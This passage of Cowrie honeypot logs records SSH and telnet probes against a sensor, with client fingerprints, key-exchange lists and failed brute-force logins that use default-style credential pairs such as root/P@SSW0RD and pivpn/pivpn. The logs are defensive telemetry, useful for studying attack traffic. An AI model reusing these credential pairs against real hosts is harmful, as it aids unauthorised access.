@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:07.374183Z","src_ip":"20.193.141.133","session":"37acbcbab842","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":37214,"dst_ip":"159.203.135.109","dst_port":22,"session":"a96316c2556d","protocol":"ssh","message":"New connection: 171.244.37.103:37214 (159.203.135.109:22) [session: a96316c2556d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:07.702005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:07.706402Z","src_ip":"171.244.37.103","session":"a96316c2556d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:07.956852Z","src_ip":"171.244.37.103","session":"a96316c2556d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123!!","message":"login attempt [root/abc123!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:08.187957Z","src_ip":"20.193.141.133","session":"37acbcbab842","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gateway","password":"gateway","message":"login attempt [gateway/gateway] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:08.992638Z","src_ip":"171.244.37.103","session":"a96316c2556d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:09.386073Z","src_ip":"20.193.141.133","session":"37acbcbab842","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:10.246041Z","src_ip":"171.244.37.103","session":"a96316c2556d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":21729,"dst_ip":"159.203.135.109","dst_port":22,"session":"074cd0578ab7","protocol":"ssh","message":"New connection: 223.197.186.7:21729 (159.203.135.109:22) [session: 074cd0578ab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:11.163622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:11.168857Z","src_ip":"223.197.186.7","session":"074cd0578ab7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:12.184747Z","src_ip":"223.197.186.7","session":"074cd0578ab7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@SSW0RD","message":"login attempt [root/P@SSW0RD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:13.424603Z","src_ip":"223.197.186.7","session":"074cd0578ab7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:14.643707Z","src_ip":"223.197.186.7","session":"074cd0578ab7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.70.245.157","src_port":65262,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd269c73ce11","protocol":"ssh","message":"New connection: 146.70.245.157:65262 (159.203.135.109:22) [session: dd269c73ce11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:16.973778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:16.980662Z","src_ip":"146.70.245.157","session":"dd269c73ce11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:17.129649Z","src_ip":"146.70.245.157","session":"dd269c73ce11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe...","message":"login attempt [root/123qwe...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:17.704365Z","src_ip":"146.70.245.157","session":"dd269c73ce11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:18.854913Z","src_ip":"146.70.245.157","session":"dd269c73ce11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":46706,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4622bc5c94c","protocol":"telnet","message":"New connection: 79.139.59.21:46706 (159.203.135.109:23) [session: d4622bc5c94c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:22.691322Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":52104,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea79a1326afa","protocol":"telnet","message":"New connection: 69.4.83.194:52104 (159.203.135.109:23) [session: ea79a1326afa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:25.617543Z"}
{"eventid":"cowrie.session.closed","duration":31.187477827072144,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:27.197927Z","src_ip":"50.62.181.92","session":"aca9bd20b72d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":47906,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa15e37f0c22","protocol":"telnet","message":"New connection: 79.139.59.21:47906 (159.203.135.109:23) [session: fa15e37f0c22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:40.233677Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":60636,"dst_ip":"159.203.135.109","dst_port":22,"session":"29b9d22bfacd","protocol":"ssh","message":"New connection: 37.233.85.71:60636 (159.203.135.109:22) [session: 29b9d22bfacd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:52.072927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:52.077867Z","src_ip":"37.233.85.71","session":"29b9d22bfacd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:52.186876Z","src_ip":"37.233.85.71","session":"29b9d22bfacd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfvekbxrf","message":"login attempt [root/vfvekbxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:52.503105Z","src_ip":"37.233.85.71","session":"29b9d22bfacd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:37:53.611974Z","src_ip":"37.233.85.71","session":"29b9d22bfacd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.256468057632446,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:38:01.873876Z","src_ip":"69.4.83.194","session":"ea79a1326afa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.6.35.235","src_port":40430,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e01e253e21d","protocol":"ssh","message":"New connection: 20.6.35.235:40430 (159.203.135.109:22) [session: 7e01e253e21d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:38:09.253828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:38:09.990605Z","src_ip":"20.6.35.235","session":"7e01e253e21d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:38:10.292886Z","src_ip":"20.6.35.235","session":"7e01e253e21d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@Wsx3edc","message":"login attempt [root/1qaz@Wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:38:11.814547Z","src_ip":"20.6.35.235","session":"7e01e253e21d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:38:13.063624Z","src_ip":"20.6.35.235","session":"7e01e253e21d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":53328,"dst_ip":"159.203.135.109","dst_port":22,"session":"346a1ce325bf","protocol":"ssh","message":"New connection: 171.244.37.103:53328 (159.203.135.109:22) [session: 346a1ce325bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:38:42.982845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:38:42.987069Z","src_ip":"171.244.37.103","session":"346a1ce325bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:38:43.240916Z","src_ip":"171.244.37.103","session":"346a1ce325bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pivpn","password":"pivpn","message":"login attempt [pivpn/pivpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:38:44.278778Z","src_ip":"171.244.37.103","session":"346a1ce325bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:38:45.532616Z","src_ip":"171.244.37.103","session":"346a1ce325bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":35579,"dst_ip":"159.203.135.109","dst_port":22,"session":"64d0bfc48898","protocol":"ssh","message":"New connection: 20.193.141.133:35579 (159.203.135.109:22) [session: 64d0bfc48898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:38:49.053643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:38:49.058828Z","src_ip":"20.193.141.133","session":"64d0bfc48898","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:38:49.260099Z","src_ip":"20.193.141.133","session":"64d0bfc48898","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq112233","message":"login attempt [root/qq112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:38:50.091815Z","src_ip":"20.193.141.133","session":"64d0bfc48898","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.70.245.157","src_port":16728,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7ace7946281","protocol":"ssh","message":"New connection: 146.70.245.157:16728 (159.203.135.109:22) [session: d7ace7946281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:38:50.535490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:38:50.539833Z","src_ip":"146.70.245.157","session":"d7ace7946281","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:38:50.839586Z","src_ip":"146.70.245.157","session":"d7ace7946281","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1220","message":"login attempt [root/1220] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:38:51.242736Z","src_ip":"146.70.245.157","session":"d7ace7946281","protocol":"ssh"}
